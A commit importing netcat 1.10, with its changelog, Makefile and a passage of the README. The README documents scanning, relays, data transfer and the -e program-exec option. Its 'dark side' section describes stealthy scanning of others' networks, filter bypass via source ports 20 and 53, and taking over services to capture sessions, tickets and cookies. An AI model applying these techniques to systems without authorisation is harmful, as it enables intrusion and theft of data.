*Hobbit*'s netcat 1.10

This commit is contained in:
Anatoly Techtonik 2007-01-17 09:51:02 +00:00
commit 5086ba1ade
31 changed files with 5263 additions and 0 deletions

109
Changelog Normal file
View File

@ -0,0 +1,109 @@
Here is sort of an edit history for netcat, in forward cron order.
950915 or so
basic gethostpoop and doconnect layout established
950920 or so
timeout handlers, improvements to gethostpoop, read-stdin-args,
primitive select loop, and later the stdin-to-many saved-count thing
950923
select loop is firm, connect and i/o works nicely
added listen mode
crocked in UDP and debugged how its back-connect works
950927
unsnarled main a fair amount
got "udptest" working right
added HELP!! yow.
951003
added exec-a-prog thing
cleaned up routine-header comments
signal catcher
close stdin when we won't need it [-z, etc]
951004
getportpoop
inbound options hexdump finally works [forgot to preload "size" int]
951005 or so
added random mode, which necessitated more main() logic cleanups
951008
hammered out exit-status stuff, final main() argv loop cleanup
massive readme cleanup pre-1.00 release
951010
almost-1.00 release up for FTP, but not announced yet
added a couple of wrapper scripts
951012 -- 1.00
nc100 RELEASE, mailing-list spam, etc etc
951021
doc tweak per cgull
webproxy/webrelay scripts came together. fuckin' yow.
951023
added indication of *local* address in dolisten() connect handling
reset errno before dolisten msgs -- gethostpoop might have munged it
951028 -- 1.01
fixed exit status if -z on a single port -- was -1, is now 0 or 1
like it should be
951029
put "sent/rcvd" typeout more places, still only if -v -v
Doc fix: It's *David* Borman, not Paul [aka Mr. Environment
Variables, this month...]
951106 -- 1.02
added h_errno strings and updated holler, gethostpoop to find them
Still slightly confused if gethostpoop() returns prematurely...
951107
sys/select.h for them what needs it
wrote_txt and more calls to print sent/rcvd
951110
try rnd-options, but setsockopt tosses them. Punt...
dumped "x.y" microtiming idea; seconds are granular enough for now
tweaked help text
951113 -- 1.03
added first-net-read skip to select loop if we have saved stdin, and
moved retry-count test ahead of this. Makes multimode work much more
sensibly...
fleshed out this here edit history
951204 -- 1.04
fixed duplication lameness with printing h_errno stuff
951215
improved data.c; added xfer count and %r
951217
rservice.c, an answer to mudge's k-rad script
951227
port data.c to msloss, it might be useful
some doc slogging; particularly the telnet-wrapper idea
960120 -- 1.05
give totals even if we ^C out [that's what sigcatchers are *for*!]
cleaned up big LSRR explanation comment
960131 -- 1.06
flushed rndoption stuff
report of closing stdin fucking up Solaris. Not tried yet.
extra arg to rservice.c
documentation updates, added netcat-art and many udder tings
added Bela Lubkin's #ifdefs for SIGURG [SCO rel 5]
added ignoring SIGPIPE [lesson learned from webs.c]
960201
genned up some more data dumps: pmap-mnt.d, showmount.d,
various others; into real tree
960217 -- 1.07
finally fixed stdin-read-args thing to retain and send leftover data
added version to help text
made ascii-art cuter
added "probe" script
added Nextstep systype
finally fixed data.c to run "forever"
created xor.c
960223 -- 1.08
if doconnect skt is 0 grab another one, don't dup(). [stupid solaris..]
threw in latest web scripts
threw in irc
more doc tweaks
stuck 1.08 prerelease up for FTP
960227
hexdump in -- it's actually gonna be quite useful!
doc adds for hexdump; orig idea from dgaudet@wired
960229 -- 1.09
telnet-opts responder in; left as OPTIONAL chunk since it mucks
with the data stream.
-e disables -o hexdump; avoid zero-length file turds
960310 -- 1.09a goddamnit-I'm-gonna-release-REAL-soon
made -e work outbound, too
random final cleanups and doc updates ... pant pant ...
960320 -- 1.10
RELEASE version tested everywhere I could get to, up for FTP

122
Makefile Normal file
View File

@ -0,0 +1,122 @@
# makefile for netcat, based off same ol' "generic makefile".
# Usually do "make systype" -- if your systype isn't defined, try "generic"
# or something else that most closely matches, see where it goes wrong, fix
# it, and MAIL THE DIFFS back to Hobbit.
### PREDEFINES
# DEFAULTS, possibly overridden by <systype> recursive call:
# pick gcc if you'd rather , and/or do -g instead of -O if debugging
# debugging
# DFLAGS = -DTEST -DDEBUG
CFLAGS = -O
XFLAGS = # xtra cflags, set by systype targets
XLIBS = # xtra libs if necessary?
# -Bstatic for sunos, -static for gcc, etc. You want this, trust me.
STATIC =
CC = cc $(CFLAGS)
LD = $(CC) -s # linker; defaults to stripped executables
o = o # object extension
ALL = nc
### BOGON-CATCHERS
bogus:
@echo "Usage: make <systype> [options]"
### HARD TARGETS
nc: netcat.c
$(LD) $(DFLAGS) $(XFLAGS) $(STATIC) -o nc netcat.c $(XLIBS)
nc-dos:
@echo "DOS?! Maybe someday, but not now"
### SYSTYPES -- in the same order as in generic.h, please
# designed for msc and nmake, but easy to change for your compiler.
# Recursive make may fail if you're short on memory -- u-fix!
# Note special hard-target and "quotes" instead of 'quotes' ...
dos:
$(MAKE) -e $(ALL)-dos $(MFLAGS) CC="cl /nologo" XLIBS= \
XFLAGS="/AS -D__MSDOS__ -DMSDOS" o=obj
ultrix:
make -e $(ALL) $(MFLAGS) XFLAGS='-DULTRIX'
# you may need XLIBS='-lresolv -l44bsd' if you have BIND 4.9.x
sunos:
make -e $(ALL) $(MFLAGS) XFLAGS='-DSUNOS' STATIC=-Bstatic \
XLIBS='-lresolv'
# Pick this one ahead of "solaris" if you actually have the nonshared
# libraries [lib*.a] on your machine. By default, the Sun twits don't ship
# or install them, forcing you to use shared libs for any network apps.
# Kludged for gcc, which many regard as the only thing available.
solaris-static:
make -e $(ALL) $(MFLAGS) XFLAGS='-DSYSV=4 -D__svr4__ -DSOLARIS' \
CC=gcc STATIC=-static XLIBS='-lnsl -lsocket -lresolv'
# the more usual shared-lib version...
solaris:
make -e $(ALL) $(MFLAGS) XFLAGS='-DSYSV=4 -D__svr4__ -DSOLARIS' \
CC=gcc STATIC= XLIBS='-lnsl -lsocket -lresolv'
aix:
make -e $(ALL) $(MFLAGS) XFLAGS='-DAIX'
linux:
make -e $(ALL) $(MFLAGS) XFLAGS='-DLINUX' STATIC=-static
# irix 5.2, dunno 'bout earlier versions. If STATIC='-non_shared' doesn't
# work for you, null it out and yell at SGI for their STUPID default
# of apparently not installing /usr/lib/nonshared/*. Sheesh.
irix:
make -e $(ALL) $(MFLAGS) XFLAGS='-DIRIX -DSYSV=4 -D__svr4__' \
STATIC=-non_shared
osf:
make -e $(ALL) $(MFLAGS) XFLAGS='-DOSF' STATIC=-non_shared
# virtually the same as netbsd/bsd44lite/whatever
freebsd:
make -e $(ALL) $(MFLAGS) XFLAGS='-DFREEBSD' STATIC=-static
bsdi:
make -e $(ALL) $(MFLAGS) XFLAGS='-DBSDI' STATIC=-Bstatic
netbsd:
make -e $(ALL) $(MFLAGS) XFLAGS='-DNETBSD' STATIC=-static
# finally got to an hpux box, which turns out to be *really* warped.
# STATIC here means "linker subprocess gets args '-a archive'" which causes
# /lib/libc.a to be searched ahead of '-a shared', or /lib/libc.sl.
hpux:
make -e $(ALL) $(MFLAGS) XFLAGS='-DHPUX' STATIC="-Wl,-a,archive"
# unixware from bmc@telebase.com; apparently no static because of the
# same idiotic lack of link libraries
unixware:
make -e $(ALL) $(MFLAGS) XFLAGS='-DUNIXWARE -DSYSV=4 -D__svr4__' \
STATIC= XLIBS='-L/usr/lib -lnsl -lsocket -lresolv'
# from Declan Rieb at sandia, for a/ux 3.1.1 [also suggests using gcc]:
aux:
make -e $(ALL) $(MFLAGS) XFLAGS='-DAUX' STATIC=-static CC=gcc
# Nexstep from mudge: NeXT cc is really old gcc
next:
make -e $(ALL) $(MFLAGS) XFLAGS='-DNEXT' STATIC=-Bstatic
# start with this for a new architecture, and see what breaks.
generic:
make -e $(ALL) $(MFLAGS) XFLAGS='-DGENERIC' STATIC=
# Still at large: dgux dynix ???
### RANDOM
clean:
rm -f $(ALL) *.o *.obj

946
README Normal file
View File

@ -0,0 +1,946 @@
Netcat 1.10
=========== /\_/\
/ 0 0 \
Netcat is a simple Unix utility which reads and writes data ====v====
across network connections, using TCP or UDP protocol. \ W /
It is designed to be a reliable "back-end" tool that can | | _
be used directly or easily driven by other programs and / ___ \ /
scripts. At the same time, it is a feature-rich network / / \ \ |
debugging and exploration tool, since it can create almost (((-----)))-'
any kind of connection you would need and has several /
interesting built-in capabilities. Netcat, or "nc" as the ( ___
actual program is named, should have been supplied long ago \__.=|___E
as another one of those cryptic but standard Unix tools. /
In the simplest usage, "nc host port" creates a TCP connection to the given
port on the given target host. Your standard input is then sent to the host,
and anything that comes back across the connection is sent to your standard
output. This continues indefinitely, until the network side of the connection
shuts down. Note that this behavior is different from most other applications
which shut everything down and exit after an end-of-file on the standard input.
Netcat can also function as a server, by listening for inbound connections
on arbitrary ports and then doing the same reading and writing. With minor
limitations, netcat doesn't really care if it runs in "client" or "server"
mode -- it still shovels data back and forth until there isn't any more left.
In either mode, shutdown can be forced after a configurable time of inactivity
on the network side.
And it can do this via UDP too, so netcat is possibly the "udp telnet-like"
application you always wanted for testing your UDP-mode servers. UDP, as the
"U" implies, gives less reliable data transmission than TCP connections and
some systems may have trouble sending large amounts of data that way, but it's
still a useful capability to have.
You may be asking "why not just use telnet to connect to arbitrary ports?"
Valid question, and here are some reasons. Telnet has the "standard input
EOF" problem, so one must introduce calculated delays in driving scripts to
allow network output to finish. This is the main reason netcat stays running
until the *network* side closes. Telnet also will not transfer arbitrary
binary data, because certain characters are interpreted as telnet options and
are thus removed from the data stream. Telnet also emits some of its
diagnostic messages to standard output, where netcat keeps such things
religiously separated from its *output* and will never modify any of the real
data in transit unless you *really* want it to. And of course telnet is
incapable of listening for inbound connections, or using UDP instead. Netcat
doesn't have any of these limitations, is much smaller and faster than telnet,
and has many other advantages.
Some of netcat's major features are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Hex dump of transmitted and received data
Optional ability to let another program service established connections
Optional telnet-options responder
Efforts have been made to have netcat "do the right thing" in all its various
modes. If you believe that it is doing the wrong thing under whatever
circumstances, please notify me and tell me how you think it should behave.
If netcat is not able to do some task you think up, minor tweaks to the code
will probably fix that. It provides a basic and easily-modified template for
writing other network applications, and I certainly encourage people to make
custom mods and send in any improvements they make to it. This is the second
release; the overall differences from 1.00 are relatively minor and have mostly
to do with portability and bugfixes. Many people provided greatly appreciated
fixes and comments on the 1.00 release. Continued feedback from the Internet
community is always welcome!
Netcat is entirely my own creation, although plenty of other code was used as
examples. It is freely given away to the Internet community in the hope that
it will be useful, with no restrictions except giving credit where it is due.
No GPLs, Berkeley copyrights or any of that nonsense. The author assumes NO
responsibility for how anyone uses it. If netcat makes you rich somehow and
you're feeling generous, mail me a check. If you are affiliated in any way
with Microsoft Network, get a life. Always ski in control. Comments,
questions, and patches to hobbit@avian.org.
Building
========
Compiling is fairly straightforward. Examine the Makefile for a SYSTYPE that
matches yours, and do "make <systype>". The executable "nc" should appear.
If there is no relevant SYSTYPE section, try "generic". If you create new
sections for generic.h and Makefile to support another platform, please follow
the given format and mail back the diffs.
There are a couple of other settable #defines in netcat.c, which you can
include as DFLAGS="-DTHIS -DTHAT" to your "make" invocation without having to
edit the Makefile. See the following discussions for what they are and do.
If you want to link against the resolver library on SunOS [recommended] and
you have BIND 4.9.x, you may need to change XLIBS=-lresolv in the Makefile to
XLIBS="-lresolv -l44bsd".
Linux sys/time.h does not really support presetting of FD_SETSIZE; a harmless
warning is issued.
Some systems may warn about pointer types for signal(). No problem, though.
Exploration of features
=======================
Where to begin? Netcat is at the same time so simple and versatile, it's like
trying to describe everything you can do with your Swiss Army knife. This will
go over the basics; you should also read the usage examples and notes later on
which may give you even more ideas about what this sort of tool is good for.
If no command arguments are given at all, netcat asks for them, reads a line
from standard input, and breaks it up into arguments internally. This can be
useful when driving netcat from certain types of scripts, with the side effect
of hiding your command line arguments from "ps" displays.
The host argument can be a name or IP address. If -n is specified, netcat
will only accept numeric IP addresses and do no DNS lookups for anything. If
-n is not given and -v is turned on, netcat will do a full forward and reverse
name and address lookup for the host, and warn you about the all-too-common
problem of mismatched names in the DNS. This often takes a little longer for
connection setup, but is useful to know about. There are circumstances under
which this can *save* time, such as when you want to know the name for some IP
address and also connect there. Netcat will just tell you all about it, saving
the manual steps of looking up the hostname yourself. Normally mismatch-
checking is case-insensitive per the DNS spec, but you can define ANAL at
compile time to make it case-sensitive -- sometimes useful for uncovering minor
errors in your own DNS files while poking around your networks.
A port argument is required for outbound connections, and can be numeric or a
name as listed in /etc/services. If -n is specified, only numeric arguments
are valid. Special syntax and/or more than one port argument cause different
behavior -- see details below about port-scanning.
The -v switch controls the verbosity level of messages sent to standard error.
You will probably want to run netcat most of the time with -v turned on, so you
can see info about the connections it is trying to make. You will probably
also want to give a smallish -w argument, which limits the time spent trying to
make a connection. I usually alias "nc" to "nc -v -w 3", which makes it
function just about the same for things I would otherwise use telnet to do.
The timeout is easily changed by a subsequent -w argument which overrides the
earlier one. Specifying -v more than once makes diagnostic output MORE
verbose. If -v is not specified at all, netcat silently does its work unless
some error happens, whereupon it describes the error and exits with a nonzero
status. Refused network connections are generally NOT considered to be errors,
unless you only asked for a single TCP port and it was refused.
Note that -w also sets the network inactivity timeout. This does not have any
effect until standard input closes, but then if nothing further arrives from
the network in the next <timeout> seconds, netcat tries to read the net once
more for good measure, and then closes and exits. There are a lot of network
services now that accept a small amount of input and return a large amount of
output, such as Gopher and Web servers, which is the main reason netcat was
written to "block" on the network staying open rather than standard input.
Handling the timeout this way gives uniform behavior with network servers that
*don't* close by themselves until told to.
UDP connections are opened instead of TCP when -u is specified. These aren't
really "connections" per se since UDP is a connectionless protocol, although
netcat does internally use the "connected UDP socket" mechanism that most
kernels support. Although netcat claims that an outgoing UDP connection is
"open" immediately, no data is sent until something is read from standard
input. Only thereafter is it possible to determine whether there really is a
UDP server on the other end, and often you just can't tell. Most UDP protocols
use timeouts and retries to do their thing and in many cases won't bother
answering at all, so you should specify a timeout and hope for the best. You
will get more out of UDP connections if standard input is fed from a source
of data that looks like various kinds of server requests.
To obtain a hex dump file of the data sent either way, use "-o logfile". The
dump lines begin with "<" or ">" to respectively indicate "from the net" or
"to the net", and contain the total count per direction, and hex and ascii
representations of the traffic. Capturing a hex dump naturally slows netcat
down a bit, so don't use it where speed is critical.
Netcat can bind to any local port, subject to privilege restrictions and ports
that are already in use. It is also possible to use a specific local network
source address if it is that of a network interface on your machine. [Note:
this does not work correctly on all platforms.] Use "-p portarg" to grab a
specific local port, and "-s ip-addr" or "-s name" to have that be your source
IP address. This is often referred to as "anchoring the socket". Root users
can grab any unused source port including the "reserved" ones less than 1024.
Absence of -p will bind to whatever unused port the system gives you, just like
any other normal client connection, unless you use -r [see below].
Listen mode will cause netcat to wait for an inbound connection, and then the
same data transfer happens. Thus, you can do "nc -l -p 1234 < filename" and
when someone else connects to your port 1234, the file is sent to them whether
they wanted it or not. Listen mode is generally used along with a local port
argument -- this is required for UDP mode, while TCP mode can have the system
assign one and tell you what it is if -v is turned on. If you specify a target
host and optional port in listen mode, netcat will accept an inbound connection
only from that host and if you specify one, only from that foreign source port.
In verbose mode you'll be informed about the inbound connection, including what
address and port it came from, and since listening on "any" applies to several
possibilities, which address it came *to* on your end. If the system supports
IP socket options, netcat will attempt to retrieve any such options from an
inbound connection and print them out in hex.
If netcat is compiled with -DGAPING_SECURITY_HOLE, the -e argument specifies
a program to exec after making or receiving a successful connection. In the
listening mode, this works similarly to "inetd" but only for a single instance.
Use with GREAT CARE. This piece of the code is normally not enabled; if you
know what you're doing, have fun. This hack also works in UDP mode. Note that
you can only supply -e with the name of the program, but no arguments. If you
want to launch something with an argument list, write a two-line wrapper script
or just use inetd like always.
If netcat is compiled with -DTELNET, the -t argument enables it to respond
to telnet option negotiation [always in the negative, i.e. DONT or WONT].
This allows it to connect to a telnetd and get past the initial negotiation
far enough to get a login prompt from the server. Since this feature has
the potential to modify the data stream, it is not enabled by default. You
have to understand why you might need this and turn on the #define yourself.
Data from the network connection is always delivered to standard output as
efficiently as possible, using large 8K reads and writes. Standard input is
normally sent to the net the same way, but the -i switch specifies an "interval
time" which slows this down considerably. Standard input is still read in
large batches, but netcat then tries to find where line breaks exist and sends
one line every interval time. Note that if standard input is a terminal, data
is already read line by line, so unless you make the -i interval rather long,
what you type will go out at a fairly normal rate. -i is really designed
for use when you want to "measure out" what is read from files or pipes.
Port-scanning is a popular method for exploring what's out there. Netcat
accepts its commands with options first, then the target host, and everything
thereafter is interpreted as port names or numbers, or ranges of ports in M-N
syntax. CAVEAT: some port names in /etc/services contain hyphens -- netcat
currently will not correctly parse those, so specify ranges using numbers if
you can. If more than one port is thus specified, netcat connects to *all* of
them, sending the same batch of data from standard input [up to 8K worth] to
each one that is successfully connected to. Specifying multiple ports also
suppresses diagnostic messages about refused connections, unless -v is
specified twice for "more verbosity". This way you normally get notified only
about genuinely open connections. Example: "nc -v -w 2 -z target 20-30" will
try connecting to every port between 20 and 30 [inclusive] at the target, and
will likely inform you about an FTP server, telnet server, and mailer along the
way. The -z switch prevents sending any data to a TCP connection and very
limited probe data to a UDP connection, and is thus useful as a fast scanning
mode just to see what ports the target is listening on. To limit scanning
speed if desired, -i will insert a delay between each port probe. There are
some pitfalls with regard to UDP scanning, described later, but in general it
works well.
For each range of ports specified, scanning is normally done downward within
that range. If the -r switch is used, scanning hops randomly around within
that range and reports open ports as it finds them. [If you want them listed
in order regardless, pipe standard error through "sort"...] In addition, if
random mode is in effect, the local source ports are also randomized. This
prevents netcat from exhibiting any kind of regular pattern in its scanning.
You can exert fairly fine control over your scan by judicious use of -r and
selected port ranges to cover. If you use -r for a single connection, the
source port will have a random value above 8192, rather than the next one the
kernel would have assigned you. Note that selecting a specific local port
with -p overrides any local-port randomization.
Many people are interested in testing network connectivity using IP source
routing, even if it's only to make sure their own firewalls are blocking
source-routed packets. On systems that support it, the -g switch can be used
multiple times [up to 8] to construct a loose-source-routed path for your
connection, and the -G argument positions the "hop pointer" within the list.
If your network allows source-routed traffic in and out, you can test
connectivity to your own services via remote points in the internet. Note that
although newer BSD-flavor telnets also have source-routing capability, it isn't
clearly documented and the command syntax is somewhat clumsy. Netcat's
handling of "-g" is modeled after "traceroute".
Netcat tries its best to behave just like "cat". It currently does nothing to
terminal input modes, and does no end-of-line conversion. Standard input from
a terminal is read line by line with normal editing characters in effect. You
can freely suspend out of an interactive connection and resume. ^C or whatever
your interrupt character is will make netcat close the network connection and
exit. A switch to place the terminal in raw mode has been considered, but so
far has not been necessary. You can send raw binary data by reading it out of
a file or piping from another program, so more meaningful effort would be spent
writing an appropriate front-end driver.
Netcat is not an "arbitrary packet generator", but the ability to talk to raw
sockets and/or nit/bpf/dlpi may appear at some point. Such things are clearly
useful; I refer you to Darren Reed's excellent ip_filter package, which now
includes a tool to construct and send raw packets with any contents you want.
Example uses -- the light side
==============================
Again, this is a very partial list of possibilities, but it may get you to
think up more applications for netcat. Driving netcat with simple shell or
expect scripts is an easy and flexible way to do fairly complex tasks,
especially if you're not into coding network tools in C. My coding isn't
particularly strong either [although undoubtedly better after writing this
thing!], so I tend to construct bare-metal tools like this that I can trivially
plug into other applications. Netcat doubles as a teaching tool -- one can
learn a great deal about more complex network protocols by trying to simulate
them through raw connections!
An example of netcat as a backend for something else is the shell-script
Web browser, which simply asks for the relevant parts of a URL and pipes
"GET /what/ever" into a netcat connection to the server. I used to do this
with telnet, and had to use calculated sleep times and other stupidity to
kludge around telnet's limitations. Netcat guarantees that I get the whole
page, and since it transfers all the data unmodified, I can even pull down
binary image files and display them elsewhere later. Some folks may find the
idea of a shell-script web browser silly and strange, but it starts up and
gets me my info a hell of a lot faster than a GUI browser and doesn't hide
any contents of links and forms and such. This is included, as scripts/web,
along with several other web-related examples.
Netcat is an obvious replacement for telnet as a tool for talking to daemons.
For example, it is easier to type "nc host 25", talk to someone's mailer, and
just ^C out than having to type ^]c or QUIT as telnet would require you to do.
You can quickly catalog the services on your network by telling netcat to
connect to well-known services and collect greetings, or at least scan for open
ports. You'll probably want to collect netcat's diagnostic messages in your
output files, so be sure to include standard error in the output using
`>& file' in *csh or `> file 2>&1' in bourne shell.
A scanning example: "echo QUIT | nc -v -w 5 target 20-250 500-600 5990-7000"
will inform you about a target's various well-known TCP servers, including
r-services, X, IRC, and maybe a few you didn't expect. Sending in QUIT and
using the timeout will almost guarantee that you see some kind of greeting or
error from each service, which usually indicates what it is and what version.
[Beware of the "chargen" port, though...] SATAN uses exactly this technique to
collect host information, and indeed some of the ideas herein were taken from
the SATAN backend tools. If you script this up to try every host in your
subnet space and just let it run, you will not only see all the services,
you'll find out about hosts that aren't correctly listed in your DNS. Then you
can compare new snapshots against old snapshots to see changes. For going
after particular services, a more intrusive example is in scripts/probe.
Netcat can be used as a simple data transfer agent, and it doesn't really
matter which end is the listener and which end is the client -- input at one
side arrives at the other side as output. It is helpful to start the listener
at the receiving side with no timeout specified, and then give the sending side
a small timeout. That way the listener stays listening until you contact it,
and after data stops flowing the client will time out, shut down, and take the
listener with it. Unless the intervening network is fraught with problems,
this should be completely reliable, and you can always increase the timeout. A
typical example of something "rsh" is often used for: on one side,
nc -l -p 1234 | uncompress -c | tar xvfp -
and then on the other side
tar cfp - /some/dir | compress -c | nc -w 3 othermachine 1234
will transfer the contents of a directory from one machine to another, without
having to worry about .rhosts files, user accounts, or inetd configurations
at either end. Again, it matters not which is the listener or receiver; the
"tarring" machine could just as easily be running the listener instead. One
could conceivably use a scheme like this for backups, by having cron-jobs fire
up listeners and backup handlers [which can be restricted to specific addresses
and ports between each other] and pipe "dump" or "tar" on one machine to "dd
of=/dev/tapedrive" on another as usual. Since netcat returns a nonzero exit
status for a denied listener connection, scripts to handle such tasks could
easily log and reject connect attempts from third parties, and then retry.
Another simple data-transfer example: shipping things to a PC that doesn't have
any network applications yet except a TCP stack and a web browser. Point the
browser at an arbitrary port on a Unix server by telling it to download
something like http://unixbox:4444/foo, and have a listener on the Unix side
ready to ship out a file when the connect comes in. The browser may pervert
binary data when told to save the URL, but you can dig the raw data out of
the on-disk cache.
If you build netcat with GAPING_SECURITY_HOLE defined, you can use it as an
"inetd" substitute to test experimental network servers that would otherwise
run under "inetd". A script or program will have its input and output hooked
to the network the same way, perhaps sans some fancier signal handling. Given
that most network services do not bind to a particular local address, whether
they are under "inetd" or not, it is possible for netcat avoid the "address
already in use" error by binding to a specific address. This lets you [as
root, for low ports] place netcat "in the way" of a standard service, since
inbound connections are generally sent to such specifically-bound listeners
first and fall back to the ones bound to "any". This allows for a one-off
experimental simulation of some service, without having to screw around with
inetd.conf. Running with -v turned on and collecting a connection log from
standard error is recommended.
Netcat as well can make an outbound connection and then run a program or script
on the originating end, with input and output connected to the same network
port. This "inverse inetd" capability could enhance the backup-server concept
described above or help facilitate things such as a "network dialback" concept.
The possibilities are many and varied here; if such things are intended as
security mechanisms, it may be best to modify netcat specifically for the
purpose instead of wrapping such functions in scripts.
Speaking of inetd, netcat will function perfectly well *under* inetd as a TCP
connection redirector for inbound services, like a "plug-gw" without the
authentication step. This is very useful for doing stuff like redirecting
traffic through your firewall out to other places like web servers and mail
hubs, while posing no risk to the firewall machine itself. Put netcat behind
inetd and tcp_wrappers, perhaps thusly:
www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 realwww 80
and you have a simple and effective "application relay" with access control
and logging. Note use of the wait time as a "safety" in case realwww isn't
reachable or the calling user aborts the connection -- otherwise the relay may
hang there forever.
You can use netcat to generate huge amounts of useless network data for
various performance testing. For example, doing
yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null
on one side and then hitting it with
yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null
from another host will saturate your wires with A's and B's. The "very
verbose" switch usage will tell you how many of each were sent and received
after you interrupt either side. Using UDP mode produces tremendously MORE
trash per unit time in the form of fragmented 8 Kbyte mobygrams -- enough to
stress-test kernels and network interfaces. Firing random binary data into
various network servers may help expose bugs in their input handling, which
nowadays is a popular thing to explore. A simple example data-generator is
given in data/data.c included in this package, along with a small collection
of canned input files to generate various packet contents. This program is
documented in its beginning comments, but of interest here is using "%r" to
generate random bytes at well-chosen points in a data stream. If you can
crash your daemon, you likely have a security problem.
The hex dump feature may be useful for debugging odd network protocols,
especially if you don't have any network monitoring equipment handy or aren't
root where you'd need to run "tcpdump" or something. Bind a listening netcat
to a local port, and have it run a script which in turn runs another netcat
to the real service and captures the hex dump to a log file. This sets up a
transparent relay between your local port and wherever the real service is.
Be sure that the script-run netcat does *not* use -v, or the extra info it
sends to standard error may confuse the protocol. Note also that you cannot
have the "listen/exec" netcat do the data capture, since once the connection
arrives it is no longer netcat that is running.
Binding to an arbitrary local port allows you to simulate things like r-service
clients, if you are root locally. For example, feeding "^@root^@joe^@pwd^@"
[where ^@ is a null, and root/joe could be any other local/remote username
pair] into a "rsh" or "rlogin" server, FROM your port 1023 for example,
duplicates what the server expects to receive. Thus, you can test for insecure
.rhosts files around your network without having to create new user accounts on
your client machine. The program data/rservice.c can aid this process by
constructing the "rcmd" protocol bytes. Doing this also prevents "rshd" from
trying to create that separate standard-error socket and still gives you an
input path, as opposed to the usual action of "rsh -n". Using netcat for
things like this can be really useful sometimes, because rsh and rlogin
generally want a host *name* as an argument and won't accept IP addresses. If
your client-end DNS is hosed, as may be true when you're trying to extract
backup sets on to a dumb client, "netcat -n" wins where normal rsh/rlogin is
useless.
If you are unsure that a remote syslogger is working, test it with netcat.
Make a UDP connection to port 514 and type in "<0>message", which should
correspond to "kern.emerg" and cause syslogd to scream into every file it has
open [and possibly all over users' terminals]. You can tame this down by
using a different number and use netcat inside routine scripts to send syslog
messages to places that aren't configured in syslog.conf. For example,
"echo '<38>message' | nc -w 1 -u loggerhost 514" should send to auth.notice
on loggerhost. The exact number may vary; check against your syslog.h first.
Netcat provides several ways for you to test your own packet filters. If you
bind to a port normally protected against outside access and make a connection
to somewhere outside your own network, the return traffic will be coming to
your chosen port from the "outside" and should be blocked. TCP may get through
if your filter passes all "ack syn", but it shouldn't be even doing that to low
ports on your network. Remember to test with UDP traffic as well! If your
filter passes at least outbound source-routed IP packets, bouncing a connection
back to yourself via some gateway outside your network will create "incoming"
traffic with your source address, which should get dropped by a correctly
configured anti-spoofing filter. This is a "non-test" if you're also dropping
source-routing, but it's good to be able to test for that too. Any packet
filter worth its salt will be blocking source-routed packets in both
directions, but you never know what interesting quirks you might turn up by
playing around with source ports and addresses and watching the wires with a
network monitor.
You can use netcat to protect your own workstation's X server against outside
access. X is stupid enough to listen for connections on "any" and never tell
you when new connections arrive, which is one reason it is so vulnerable. Once
you have all your various X windows up and running you can use netcat to bind
just to your ethernet address and listen to port 6000. Any new connections
from outside the machine will hit netcat instead your X server, and you get a
log of who's trying. You can either tell netcat to drop the connection, or
perhaps run another copy of itself to relay to your actual X server on
"localhost". This may not work for dedicated X terminals, but it may be
possible to authorize your X terminal only for its boot server, and run a relay
netcat over on the server that will in turn talk to your X terminal. Since
netcat only handles one listening connection per run, make sure that whatever
way you rig it causes another one to run and listen on 6000 soon afterward, or
your real X server will be reachable once again. A very minimal script just
to protect yourself could be
while true ; do
nc -v -l -s <your-addr> -p 6000 localhost 2
done
which causes netcat to accept and then close any inbound connection to your
workstation's normal ethernet address, and another copy is immediately run by
the script. Send standard error to a file for a log of connection attempts.
If your system can't do the "specific bind" thing all is not lost; run your
X server on display ":1" or port 6001, and netcat can still function as a probe
alarm by listening on 6000.
Does your shell-account provider allow personal Web pages, but not CGI scripts?
You can have netcat listen on a particular port to execute a program or script
of your choosing, and then just point to the port with a URL in your homepage.
The listener could even exist on a completely different machine, avoiding the
potential ire of the homepage-host administrators. Since the script will get
the raw browser query as input it won't look like a typical CGI script, and
since it's running under your UID you need to write it carefully. You may want
to write a netcat-based script as a wrapper that reads a query and sets up
environment variables for a regular CGI script. The possibilities for using
netcat and scripts to handle Web stuff are almost endless. Again, see the
examples under scripts/.
Example uses -- the dark side
=============================
Equal time is deserved here, since a versatile tool like this can be useful
to any Shade of Hat. I could use my Victorinox to either fix your car or
disassemble it, right? You can clearly use something like netcat to attack
or defend -- I don't try to govern anyone's social outlook, I just build tools.
Regardless of your intentions, you should still be aware of these threats to
your own systems.
The first obvious thing is scanning someone *else's* network for vulnerable
services. Files containing preconstructed data, be it exploratory or
exploitive, can be fed in as standard input, including command-line arguments
to netcat itself to keep "ps" ignorant of your doings. The more random the
scanning, the less likelihood of detection by humans, scan-detectors, or
dynamic filtering, and with -i you'll wait longer but avoid loading down the
target's network. Some examples for crafting various standard UDP probes are
given in data/*.d.
Some configurations of packet filters attempt to solve the FTP-data problem by
just allowing such connections from the outside. These come FROM port 20, TO
high TCP ports inside -- if you locally bind to port 20, you may find yourself
able to bypass filtering in some cases. Maybe not to low ports "inside", but
perhaps to TCP NFS servers, X servers, Prospero, ciscos that listen on 200x
and 400x... Similar bypassing may be possible for UDP [and maybe TCP too] if a
connection comes from port 53; a filter may assume it's a nameserver response.
Using -e in conjunction with binding to a specific address can enable "server
takeover" by getting in ahead of the real ones, whereupon you can snarf data
sent in and feed your own back out. At the very least you can log a hex dump
of someone else's session. If you are root, you can certainly use -s and -e to
run various hacked daemons without having to touch inetd.conf or the real
daemons themselves. You may not always have the root access to deal with low
ports, but what if you are on a machine that also happens to be an NFS server?
You might be able to collect some interesting things from port 2049, including
local file handles. There are several other servers that run on high ports
that are likely candidates for takeover, including many of the RPC services on
some platforms [yppasswdd, anyone?]. Kerberos tickets, X cookies, and IRC
traffic also come to mind. RADIUS-based terminal servers connect incoming
users to shell-account machines on a high port, usually 1642 or thereabouts.
SOCKS servers run on 1080. Do "netstat -a" and get creative.
There are some daemons that are well-written enough to bind separately to all
the local interfaces, possibly with an eye toward heading off this sort of
problem. Named from recent BIND releases, and NTP, are two that come to mind.
Netstat will show these listening on address.53 instead of *.53. You won't
be able to get in front of these on any of the real interface addresses, which
of course is especially interesting in the case of named, but these servers
sometimes forget about things like "alias" interface addresses or interfaces
